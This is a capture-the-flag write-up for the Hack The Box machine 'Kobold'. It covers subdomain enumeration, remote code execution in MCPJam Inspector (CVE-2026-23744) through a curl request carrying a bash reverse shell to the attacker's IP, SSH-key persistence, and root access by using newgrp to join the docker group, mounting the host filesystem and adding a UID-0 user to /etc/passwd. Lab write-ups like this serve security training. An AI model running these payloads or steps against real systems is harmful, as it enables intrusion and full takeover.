Description

Kobold is an easy Hack The Box machine that features:

  • Subdomain Enumeration to find a MCPJam Inspector instance
  • MCPJam Inspector Remote Command Execution to get a Linux Shell
  • Privilege Escalation by pivoting to docker group using a SUID newgrp command and the ability to mount /root folder

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.15.112.

$ ping -c 3 10.129.15.112
PING 10.129.15.112 (10.129.15.112) 56(84) bytes of data.
64 bytes from 10.129.15.112: icmp_seq=1 ttl=63 time=44.0 ms
64 bytes from 10.129.15.112: icmp_seq=2 ttl=63 time=45.1 ms

--- 10.129.15.112 ping statistics ---
3 packets transmitted, 2 received, 33.3333% packet loss, time 2003ms
rtt min/avg/max/mdev = 44.000/44.556/45.112/0.556 ms

The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.129.15.112 -sS -Pn -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.15.112
Host is up (0.047s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 3.93 seconds

We find the opened 22, 80, and 443 ports.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.129.15.112 -Pn -sV -sC -p22,80,443 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.15.112
Host is up (0.044s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_  256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp  open  http     nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp open  ssl/http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-title: Did not follow redirect to https://kobold.htb/
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after:  2125-02-19T15:08:55
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.83 seconds

We get two services: one Secure Shell (SSH), and one Hypertext Transfer Protocol (HTTP). As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. We move to the web application and we add the wingdata.htb host to the /etc/hosts file. The HTTP service is redirecting to the HTTPs service.

$ echo '10.129.15.112 kobold.htb' | sudo tee -a /etc/hosts

We find a static page about a centralized platform for managing internal services and AI services. We do not find more content on the page, we move to enumerate the active subdomains:

$ gobuster vhost -u https://kobold.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -o vhost_enumeration -r -t 50 -k
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       https://kobold.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
mcp.kobold.htb Status: 200 [Size: 466]
bin.kobold.htb Status: 200 [Size: 24402]

We find two subdomains: mcp and bin. We add the first one to the /etc/hosts file.

$ echo '10.129.15.112 mcp.kobold.htb' | sudo tee -a /etc/hosts

After opening the https://mcp.kobold.htb/ page we find an instance of the MCPJam Inspector application, a local development client for ChatGPT apps, MCP ext-apps, and MCP servers. In the settings we find that the v1.4.2 version is used.

Exploitation

The 1.4.2 version and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE, CVE-2026-23744. In the advisory, we find that a remote code execution (RCE) attack can be triggered by sending a simple HTTP request to the target host running MCPJam Inspector. We are going to adapt it to our environment to create a remote shell to the remote machine, but firstly we start a listening TCP port in 1234 port using nc -nvlp 1234.

$ curl https://mcp.kobold.htb/api/mcp/connect -k --header "Content-Type: application/json" --data '{"serverConfig":{"command":"bash","args":["-c", "bash -i >& /dev/tcp/10.10.15.158/1234 0>&1"],"env":{}},"serverId":"mytest"}'

We receive a reverse shell as the ben user, belonging to the operator group

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.158] from (UNKNOWN) [10.129.15.112] 40216
bash: cannot set terminal process group (1485): Inappropriate ioctl for device
bash: no job control in this shell
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ id
id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

Post-Exploitation

We open a new shell using SSH by adding a public SSH key to the user personal directory, .ssh. We start by generating the SSH key.

$ ssh-keygen -t rsa -b 1024 -f id_rsa

Then we create the .ssh folder in the /home/ben directory in the remote machine and the we append the generated public key.

ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ mkdir -p /home/ben/.ssh
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCxMc1ZGyT/z98fBN4VTI2mZypa69dQpcQbG4jF0eC2Fu1w407j9azf2zFKzQi45w67Rgjubx0eT3+Oq+lfJp5WkVQCmmJKf16G8FzGFd/1WRP0NTjAAxm++vPcvs/oo8I+S7dJfkjlqUx4ns71f6QA5fM7FZHSxmtKut1bBA+6LQ== user@htb' > /home/ben/.ssh/authorized_keys

Then we connect from our machine using SSH.

$ ssh -i id_rsa ben@kobold.htb
ben@kobold:~$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

We find one interesting SUID binary in the system, newgrp.

ben@kobold:~$ find / -perm -4000 2> /dev/null
/usr/bin/umount
/usr/bin/mount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/su
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
ben@kobold:~$ ls -l /usr/bin/newgrp
-rwsr-xr-x 1 root root 40664 May 30  2024 /usr/bin/newgrp

The newgrp command is used to change the current group ID during a login session. newgrp changes the current real group ID to the named group, or to the default group listed in /etc/passwd if no group name is given. We find that Docker is used in the system, but we do not have permissions to run it, as we do not belong to the docker group.

ben@kobold:~$ docker ps -a
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.50/containers/json?all=1": dial unix /var/run/docker.sock: connect: permission denied

We can use the newgrp to be part of the docker group.

ben@kobold:~$ newgrp docker
ben@kobold:~$ docker ps -a
CONTAINER ID   IMAGE                               COMMAND                  CREATED       STATUS             PORTS                      NAMES
4c49dd7bb727   privatebin/nginx-fpm-alpine:2.0.2   "/etc/init.d/rc.local"   4 weeks ago   Up About an hour   127.0.0.1:8080->8080/tcp   bin

We can list a running container, 4c49dd7bb727, using the privatebin/nginx-fpm-alpine:2.0.2 image. We can use Docker and this image to mount the / folder of the host machine in a new container and then write files as root user in the machine, such as adding a new root2 user, with passwordhtb password and UID 0.

ben@kobold:~$ docker run -it --rm -v /:/host_fs --name temp-container --user root --entrypoint /bin/sh privatebin/nginx-fpm-alpine:2.0.2
/var/www # echo 'root2:$1$IX9v2U5o$tpsHTNLLik2uBXGO7OyIk0:0:0:root:/root:/bin/bash' >> /host_fs/etc/passwd

Now we can exit the container and open the session as the root user.

ben@kobold:~$ su root2
Password: 
root@kobold:/home/ben# id
uid=0(root) gid=0(root) groups=0(root)

Flags

In the root shell we can retrieve the user.txt and root.txt flags.

root@kobold:/home/ben# cat /home/ben/user.txt 
<REDACTED>
root@kobold:/home/ben# cat /root/root.txt 
<REDACTED>